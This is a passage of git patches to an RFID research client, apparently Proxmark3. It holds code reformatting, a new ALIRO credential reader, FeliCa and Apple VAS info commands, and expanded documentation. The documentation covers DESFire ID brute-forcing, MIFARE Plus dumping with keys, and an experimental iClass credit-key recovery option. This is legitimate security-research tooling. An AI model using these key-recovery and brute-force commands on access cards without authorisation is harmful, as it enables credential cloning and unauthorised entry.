reader_private_key_raw, - fast_suggestion_cmd, - sizeof(fast_suggestion_cmd)); + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw, + fast_suggestion_cmd, + sizeof(fast_suggestion_cmd)); if (flow == ALIRO_FLOW_STEP_UP) { res = aliro_read_do_step_up(&state, step_up_scopes); diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index aca155b2a..31db2668e 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -69,8 +69,8 @@ static int CmdHelp(const char *Cmd); static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, - PacketResponseNG *resp, const char *request_name); + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name); static felica_card_select_t last_known_card; static void set_last_known_card(felica_card_select_t card) { @@ -312,8 +312,8 @@ static const char *felica_specification_option_name(size_t option_index) { } static void print_specification_versions(int level, - const felica_request_specification_version_info_t *specification_version_info, - bool include_hex) { + const felica_request_specification_version_info_t *specification_version_info, + bool include_hex) { if (specification_version_info == NULL || specification_version_info->has_specification_version == false) { return; } @@ -687,7 +687,7 @@ static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t } static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_get_container_issue_info_response_t *container_issue_info_response) { + felica_get_container_issue_info_response_t *container_issue_info_response) { (void)verbose; PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, false, @@ -706,8 +706,8 @@ static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, } static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_status_flags_t *status_flags, uint8_t *platform_information_data, - size_t platform_information_data_capacity, size_t *platform_information_data_len) { + felica_status_flags_t *status_flags, uint8_t *platform_information_data, + size_t platform_information_data_capacity, size_t *platform_information_data_len) { (void)verbose; if (status_flags == NULL || platform_information_data == NULL || platform_information_data_len == NULL) { return PM3_EINVARG; @@ -759,8 +759,8 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_ } static int send_request_specification_version(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - bool logging, uint32_t timeout_ms, uint32_t retries, - felica_request_specification_version_info_t *specification_version_info) { + bool logging, uint32_t timeout_ms, uint32_t retries, + felica_request_specification_version_info_t *specification_version_info) { if (specification_version_info == NULL) { return PM3_EINVARG; } @@ -932,8 +932,8 @@ static int info_felica(bool verbose) { felica_get_container_issue_info_response_t container_issue_info_response; if (send_get_container_issue_information(optional_flags, - sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, - &container_issue_info_response) == PM3_SUCCESS) { + sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, + &container_issue_info_response) == PM3_SUCCESS) { char model_ascii[sizeof(container_issue_info_response.mobile_phone_model_information) + 1] = {0}; bool model_is_ascii = decode_zero_padded_ascii( container_issue_info_response.mobile_phone_model_information, @@ -1116,8 +1116,8 @@ static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, * @return PM3_SUCCESS on success */ static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, - PacketResponseNG *resp, const char *request_name) { + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name) { for (uint32_t attempt = 0; attempt <= retries; attempt++) { clear_and_send_command(flags, datalen, data, verbose); if (waitCmdFelicaEx(false, resp, verbose, logging, timeout_ms) == false) { @@ -1162,10 +1162,10 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve } PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, - 0x03, - FELICA_DEFAULT_TIMEOUT_MS, 0, - true, - &resp, "request service") != PM3_SUCCESS) { + 0x03, + FELICA_DEFAULT_TIMEOUT_MS, 0, + true, + &resp, "request service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } @@ -2139,10 +2139,10 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { sprint_hex(request_specification_version_request.IDm, sizeof(request_specification_version_request.IDm))); PrintAndLogEx(SUCCESS, "Status Flag1... %s", sprint_hex(specification_version_info.status_flags.status_flag1, - sizeof(specification_version_info.status_flags.status_flag1))); + sizeof(specification_version_info.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag2... %s", sprint_hex(specification_version_info.status_flags.status_flag2, - sizeof(specification_version_info.status_flags.status_flag2))); + sizeof(specification_version_info.status_flags.status_flag2))); if (specification_version_info.has_specification_version) { print_specification_versions(SUCCESS, &specification_version_info, true); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 9506ce788..472046c09 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4933,9 +4933,9 @@ static int CmdHFiClassLegacyRecSim(bool credit) { } uint8_t new_div_key[8] = {0}; - if (credit == true){ + if (credit == true) { HFiClassCalcDivKey(csn, iClass_Key_Table[1], new_div_key, false); - }else{ + } else { HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); } @@ -5050,8 +5050,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { } else if (test) { loop = 1; fast = false; - }else if (debug) { - if (loop > 10){ + } else if (debug) { + if (loop > 10) { loop = 10; } fast = false; @@ -5065,10 +5065,10 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { return PM3_ESOFT; } - if(credit == true){ + if (credit == true) { diversifyKey(csn, iClass_Key_Table[0], new_div_key); fast = false; - }else{ + } else { diversifyKey(csn, iClass_Key_Table[1], new_div_key); } diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 788eefe16..a52b9da5a 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -214,6 +214,10 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 15 writeafi" }, { 0, "hf 15 writedsfid" }, { 0, "hf 15 csetuid" }, + { 1, "hf aliro help" }, + { 1, "hf aliro list" }, + { 0, "hf aliro info" }, + { 0, "hf aliro read" }, { 1, "hf cipurse help" }, { 0, "hf cipurse info" }, { 0, "hf cipurse select" }, @@ -240,6 +244,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf felica help" }, { 1, "hf felica list" }, { 0, "hf felica info" }, + { 0, "hf felica seacinfo" }, { 0, "hf felica raw" }, { 0, "hf felica rdbl" }, { 0, "hf felica reader" }, @@ -473,7 +478,6 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes getaids" }, { 0, "hf mfdes getappnames" }, { 0, "hf mfdes bruteaid" }, - { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes createapp" }, { 0, "hf mfdes deleteapp" }, { 0, "hf mfdes selectapp" }, @@ -482,6 +486,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes chkeysettings" }, { 0, "hf mfdes getkeysettings" }, { 0, "hf mfdes getkeyversions" }, + { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes getfileids" }, { 0, "hf mfdes getfileisoids" }, { 0, "hf mfdes lsfiles" }, diff --git a/doc/commands.json b/doc/commands.json index 8447d899b..06288c322 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -2232,6 +2232,64 @@ ], "usage": "hf 15 writedsfid [-h*2ov] [-u ] [--ua] --dsfid " }, + "hf aliro help": { + "command": "hf aliro help", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf aliro list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "hf aliro list --frame -> show frame delay times", + "hf aliro list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "hf aliro list [-h1crux] [--frame] [-f ]" + }, + "hf aliro info": { + "command": "hf aliro info", + "description": "Select ALIRO applet and print capabilities.", + "notes": [ + "hf aliro info", + "hf aliro info -a" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro info [-ha]" + }, + "hf aliro read": { + "command": "hf aliro read", + "description": "Execute ALIRO expedited flow and optional step-up document retrieval.", + "notes": [ + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp Kpersistent (32 bytes, optional; used for fast cryptogram verification)", + "-g, --reader-group-id, --readergroupid, --rgi Reader group identifier (16 bytes)", + "-s, --reader-sub-group-id, --readersubid, --rsi Reader subgroup identifier (16 bytes, default: all zeroes)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (32 bytes, P-256)", + "-t, --transaction-id, --ti Transaction identifier (16 bytes, optional; random if omitted)", + "-e, --endpoint-public-key, --endpointpublickey, --epk Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)", + "-f, --flow Transaction flow (default: step-up)", + "--step-up-scopes Comma-separated step-up scopes (default: matter1)", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" + }, "hf cipurse aread": { "command": "hf cipurse aread", "description": "Read file attributes by file ID with key ID and key. If no key is supplied, default key of 737373...7373 will be used", @@ -2702,14 +2760,16 @@ "command": "hf felica dump", "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", "notes": [ - "hf felica dump" + "hf felica dump", + "hf felica dump --retry 5" ], "offline": false, "options": [ "-h, --help This help", - "--no-auth read public services" + "--no-auth read public services", + "-r, --retry number of retries" ], - "usage": "hf felica dump [-h] [--no-auth]" + "usage": "hf felica dump [-h] [--no-auth] [-r ]" }, "hf felica help": { "command": "hf felica help", @@ -2896,7 +2956,7 @@ }, "hf felica rqspecver": { "command": "hf felica rqspecver", - "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h - Option version list: Provided only if Status Flag1 = 00h - AES card: not added - AES/DES card: DES option version is added - BCD notation", + "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: number of entries in Option Version List. - Option version list: BCD notation (major.minor.patch), little-endian, provided only if Status Flag1 = 00h", "notes": [ "hf felica rqspecver", "hf felica rqspecver -r 0001", @@ -2929,13 +2989,27 @@ "command": "hf felica scsvcode", "description": "Dump all existing Area Code and Service Code.", "notes": [ - "hf felica scsvcode" + "hf felica scsvcode", + "hf felica scsvcode --retry 5" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --retry number of retries" + ], + "usage": "hf felica scsvcode [-h] [-r ]" + }, + "hf felica seacinfo": { + "command": "hf felica seacinfo", + "description": "Get info about FeliCa SEAC cards", + "notes": [ + "hf felica seacinfo" ], "offline": false, "options": [ "-h, --help This help" ], - "usage": "hf felica scsvcode [-h]" + "usage": "hf felica seacinfo [-h]" }, "hf felica sniff": { "command": "hf felica sniff", @@ -3276,7 +3350,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3601,9 +3675,10 @@ "--allnight Loops the loop for 10 times, recommended loop value of 5000", "--fast Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card", "--sl Lower card comms delay times, further speeds increases, may cause more errors", - "--est Estimates the key updates based on the card's CSN assuming standard key" + "--est Estimates the key updates based on the card's CSN assuming standard key, can be used with --credit option", + "--credit EXPERIMENTAL : Recover the credit key using KD 0" ], - "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est]" + "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est] [--credit]" }, "hf iclass loclass": { "command": "hf iclass loclass", @@ -5750,7 +5825,11 @@ "description": "Recover AIDs by bruteforce. WARNING: This command takes a loooong time", "notes": [ "hf mfdes bruteaid -> Search all apps", - "hf mfdes bruteaid --start F0000F -i 16 -> Search MAD range manually" + "hf mfdes bruteaid --preset mad -> Search MAD range preset (default start F0000F, step 16; can override start)", + "hf mfdes bruteaid --preset ascii -> Search with ASCII printable + whitespace bytes only", + "hf mfdes bruteaid --preset numbers -> Search with numeric bytes ('0'..'9') only", + "hf mfdes bruteaid --preset letters -> Search with letter bytes ('A'..'Z','a'..'z') only", + "hf mfdes bruteaid --preset dictionary -> Search AIDs from `aid_desfire` dictionary (direct + inverted byte order)" ], "offline": false, "options": [ @@ -5758,9 +5837,30 @@ "--start Starting App ID as hex bytes (3 bytes, big endian)", "--end Last App ID as hex bytes (3 bytes, big endian)", "-i, --step Increment step when bruteforcing", - "-m, --mad Only bruteforce the MAD range" + "--preset Bruteforce candidate preset (`full` default, `ascii` printable + whitespace, `numbers` = '0'..'9', `letters` = 'A'..'Z'+'a'..'z', `dictionary` = aid_desfire list with direct + inverted byte order, `mad` = step 16 with default start F0000F unless --start is provided)" ], - "usage": "hf mfdes bruteaid [-hm] [--start ] [--end ] [-i ]" + "usage": "hf mfdes bruteaid [-h] [--start ] [--end ] [-i ] [--preset ]" + }, + "hf mfdes bruteisofid": { + "command": "hf mfdes bruteisofid", + "description": "Recover ISO file IDs by bruteforce. WARNING: This command takes a loooong time", + "notes": [ + "hf mfdes bruteisofid --aid 123456 -> bruteforce ISO file IDs for application 123456", + "hf mfdes bruteisofid --start 0000 --end 0fff -> bruteforce specific file ISO ID range" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", + "--start Starting File ISO ID (2 hex bytes, big endian)", + "--end Last File ISO ID (2 hex bytes, big endian)", + "--step Increment step when bruteforcing" + ], + "usage": "hf mfdes bruteisofid [-hav] [--aid ] [--isoid ] [--dfname ] [--start ] [--end ] [--step ]" }, "hf mfdes changekey": { "command": "hf mfdes changekey", @@ -6726,6 +6826,25 @@ ], "usage": "hf mfdes selectapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--dfname ] [--mf] [--isoid ] [--fileisoid ]" }, + "hf mfdes selectisofid": { + "command": "hf mfdes selectisofid", + "description": "Select file via ISO Select command by 2-byte ISO file identifier. Optionally preselect an application by AID or DF name before selecting the file.", + "notes": [ + "hf mfdes selectisofid --isofid e104 -> select file 0xE104", + "hf mfdes selectisofid --aid 123456 --isofid 00ef -> select file 0x00EF in app 0x123456", + "hf mfdes selectisofid --dfname D2760000850100 --isofid 00ef --apdu -> select file 0x00EF after DF name selection and show APDU logs" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--dfname Application ISO DF Name (1-16 hex bytes, big endian)", + "--isofid File ISO ID (ISO EF ID) (2 hex bytes, big endian)" + ], + "usage": "hf mfdes selectisofid [-hav] [--aid ] [--dfname ] [--isofid ]" + }, "hf mfdes setconfig": { "command": "hf mfdes setconfig", "description": "Set card configuration. WARNING! Danger zone! Needs to provide card's master key and works if not blocked by config.", @@ -6967,18 +7086,24 @@ }, "hf mfp dump": { "command": "hf mfp dump", - "description": "Dump MIFARE Plus tag to file (bin/json) If no given, UID will be used as filename", + "description": "Dump MIFARE Plus tag to file (bin/json) Reads sectors using keys from `hf mfp chk --dump` (AES/SL3) and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards. Key files are auto-detected by UID if not specified. If no given, UID will be used as filename", "notes": [ "hf mfp dump", - "hf mfp dump --keys hf-mf-066C8B78-key.bin -> MIFARE Plus with keys from specified file" + "hf mfp dump --keys hf-mfp-01020304-key.json", + "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin", + "hf mfp dump -k ffffffffffffffffffffffffffffffff" ], "offline": false, "options": [ "-h, --help This help", "-f, --file Specify a filename for dump file", - "-k, --keys Specify a filename for keys file" + "--keys AES key file from `hf mfp chk --dump` (JSON)", + "-k, --key AES key for all sectors (16 hex bytes)", + "--mfc-keys MFC key file for SL1 sectors (.bin from `hf mf chk`)", + "--ns No save to file", + "-v, --verbose Verbose output" ], - "usage": "hf mfp dump [-h] [-f ] [-k ]" + "usage": "hf mfp dump [-hv] [-f ] [--keys ] [-k ] [--mfc-keys ] [--ns]" }, "hf mfp help": { "command": "hf mfp help", @@ -13835,8 +13960,8 @@ } }, "metadata": { - "commands_extracted": 791, + "commands_extracted": 798, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-02-24T15:41:26" + "extracted_on": "2026-03-11T21:39:07" } } diff --git a/doc/commands.md b/doc/commands.md index 58e8ecf03..fd30f27f2 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -275,6 +275,18 @@ Check column "offline" for their availability. |`hf 15 csetuid `|N |`Set UID for magic card` +### hf aliro + + { ALIRO digital access credentials... } + +|command |offline |description +|------- |------- |----------- +|`hf aliro help `|Y |`This help` +|`hf aliro list `|Y |`List ISO 14443A/7816 history` +|`hf aliro info `|N |`Get Aliro applet information` +|`hf aliro read `|N |`Run SELECT-AUTH0-AUTH1 and optional step-up document retrieval` + + ### hf cipurse { Cipurse transport Cards... } @@ -331,6 +343,7 @@ Check column "offline" for their availability. |`hf felica help `|Y |`This help` |`hf felica list `|Y |`List ISO 18092/FeliCa history` |`hf felica info `|N |`Tag information` +|`hf felica seacinfo `|N |`FeliCa SEAC tag information` |`hf felica raw `|N |`Send raw hex data to tag` |`hf felica rdbl `|N |`read block data from authentication-not-required Service.` |`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` @@ -596,7 +609,7 @@ Check column "offline" for their availability. |`hf mfp list `|Y |`List MIFARE Plus history` |`hf mfp auth `|N |`Authentication` |`hf mfp chk `|N |`Check keys` -|`hf mfp dump `|N |`Dump MIFARE Plus tag to binary file` +|`hf mfp dump `|N |`Dump MIFARE Plus tag to file` |`hf mfp info `|N |`Tag information` |`hf mfp mad `|N |`Check and print MAD` |`hf mfp rdbl `|N |`Read blocks from card` @@ -671,10 +684,12 @@ Check column "offline" for their availability. |`hf mfdes createapp `|N |`Create Application` |`hf mfdes deleteapp `|N |`Delete Application` |`hf mfdes selectapp `|N |`Select Application ID` +|`hf mfdes selectisofid `|N |`Select file by ISO ID` |`hf mfdes changekey `|N |`Change Key` |`hf mfdes chkeysettings `|N |`Change Key Settings` |`hf mfdes getkeysettings`|N |`Get Key Settings` |`hf mfdes getkeyversions`|N |`Get Key Versions` +|`hf mfdes bruteisofid `|N |`Recover file ISO IDs by bruteforce` |`hf mfdes getfileids `|N |`Get File IDs list` |`hf mfdes getfileisoids `|N |`Get File ISO IDs list` |`hf mfdes lsfiles `|N |`Show all files list` From 61d20368afe318fb6159a6bf9d7c8c39ca9e53f5 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 13 Mar 2026 12:23:35 +0800 Subject: [PATCH 087/162] Updated hg iclass legrec Code cleanup removed unused variables --- client/src/cmdhficlass.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 9506ce788..c998ece13 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4621,8 +4621,6 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u while (repeat == true) { uint32_t payload_size = sizeof(iclass_recover_req_t); - uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0}; - memcpy(aa2_standard_key, iClass_Key_Table[1], PICOPASS_BLOCK_SIZE); iclass_recover_req_t *payload = calloc(1, payload_size); payload->req.use_raw = true; payload->req.use_elite = false; From 0ab4cc161bb4c4695e044d131b666071243b8491 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Thu, 12 Mar 2026 19:44:49 +0200 Subject: [PATCH 088/162] Implement 'hf vas info' command --- CHANGELOG.md | 1 + client/src/cmdhfvas.c | 157 ++++++++++++++++++++++++++++++++ client/src/pm3line_vocabulary.h | 1 + 3 files changed, 159 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 03bbed800..1ca171090 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf vas info` command (@kormax) - Changed `wiegand encode` / `wiegand decode` - added support for encoding and decoding the new 96-bit ASN.1 encoded format, `--bin` encoding, verbose PACS encoding output, and explicit rejection of raw/binary decodes above 96 bits (@cindersocket) - Added Mifare Classic support to `hf gallagher` command (@pingu2211) - Added `hf felica discnodes` command (@kormax) diff --git a/client/src/cmdhfvas.c b/client/src/cmdhfvas.c index 9ce6e70e4..f6664b7c5 100644 --- a/client/src/cmdhfvas.c +++ b/client/src/cmdhfvas.c @@ -59,6 +59,52 @@ uint8_t aid[] = { 0x4f, 0x53, 0x45, 0x2e, 0x56, 0x41, 0x53, 0x2e, 0x30, 0x31 }; uint8_t getVasUrlOnlyP2 = 0x00; uint8_t getVasFullReqP2 = 0x01; +static bool VASWalletTypeIsApplePay(const uint8_t *walletType, size_t walletTypeLen) { + static const uint8_t applePayWalletType[] = "ApplePay"; + return walletType != NULL + && walletTypeLen == (sizeof(applePayWalletType) - 1) + && memcmp(walletType, applePayWalletType, sizeof(applePayWalletType) - 1) == 0; +} + +static void PrintVASFeatureBit(const char *bits, uint8_t mask, uint8_t bit, const char *enabled, const char *disabled) { + const bool is_enabled = (mask & (1U << bit)) != 0; + const int pad = 7 - bit; + PrintAndLogEx(INFO, " %s", + sprint_breakdown_bin(is_enabled ? C_GREEN : C_NONE, bits, 8, pad, 1, is_enabled ? enabled : disabled)); +} + +static void PrintVASCapabilitiesMeaning(const struct tlv *capabilities) { + if (capabilities == NULL) { + return; + } + + if (capabilities->len != 4) { + PrintAndLogEx(WARNING, "Capabilities: expected 4 bytes, got %zu", capabilities->len); + return; + } + + const uint8_t leading0 = capabilities->value[0]; + const uint8_t leading1 = capabilities->value[1]; + const uint8_t leading2 = capabilities->value[2]; + const uint8_t mask = capabilities->value[3]; + const char *bits = sprint_bin(&mask, 1); + + if (leading0 != 0x00 || leading1 != 0x00 || leading2 != 0x00) { + PrintAndLogEx(WARNING, " Mobile caps.... leading bytes non-zero (%02X %02X %02X); only last byte is interpreted", + leading0, leading1, leading2); + } + + PrintAndLogEx(INFO, " Capabilities.. " _YELLOW_("%s") " (" _YELLOW_("0x%02X") ")", bits, mask); + PrintVASFeatureBit(bits, mask, 7, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + PrintVASFeatureBit(bits, mask, 6, "Reserved/unknown bit set", "Reserved/unknown bit clear"); + PrintVASFeatureBit(bits, mask, 5, "Payment may be performed", "Payment may not be performed"); + PrintVASFeatureBit(bits, mask, 4, "Payment may be skipped", "Payment may not be skipped"); + PrintVASFeatureBit(bits, mask, 3, "VAS may be performed", "VAS may not be performed"); + PrintVASFeatureBit(bits, mask, 2, "VAS may be skipped", "VAS may not be skipped"); + PrintVASFeatureBit(bits, mask, 1, "Encrypted VAS data supported", "Encrypted VAS data not supported"); + PrintVASFeatureBit(bits, mask, 0, "Plaintext VAS data supported", "Plaintext VAS data not supported"); +} + static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, bool verbose) { struct tlvdb *tlvRoot = tlvdb_parse_multi(response, resLen); @@ -99,6 +145,92 @@ static int ParseSelectVASResponse(const uint8_t *response, size_t resLen, bool v return PM3_SUCCESS; } +static int info_vas(void) { + clearCommandBuffer(); + + iso14a_polling_parameters_t polling_parameters = { + .frames = { WUPA_FRAME, ECP_VAS_ONLY_FRAME }, + .frame_count = 2, + .extra_timeout = 250 + }; + + if (SelectCard14443A_4_WithParameters(false, false, NULL, &polling_parameters) != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "No ISO14443-A Card in field"); + return PM3_ECARDEXCHANGE; + } + + uint16_t status = 0; + size_t responseLen = 0; + uint8_t selectResponse[APDU_RES_LEN] = {0}; + Iso7816Select(CC_CONTACTLESS, false, true, aid, sizeof(aid), selectResponse, APDU_RES_LEN, &responseLen, &status); + DropField(); + + if (status != 0x9000) { + PrintAndLogEx(FAILED, "Card doesn't support VAS"); + return PM3_ECARDEXCHANGE; + } + + struct tlvdb *tlvRoot = tlvdb_parse_multi(selectResponse, responseLen); + if (tlvRoot == NULL) { + PrintAndLogEx(FAILED, "Unable to parse VAS select response"); + return PM3_ECARDEXCHANGE; + } + + PrintAndLogEx(NORMAL, ""); 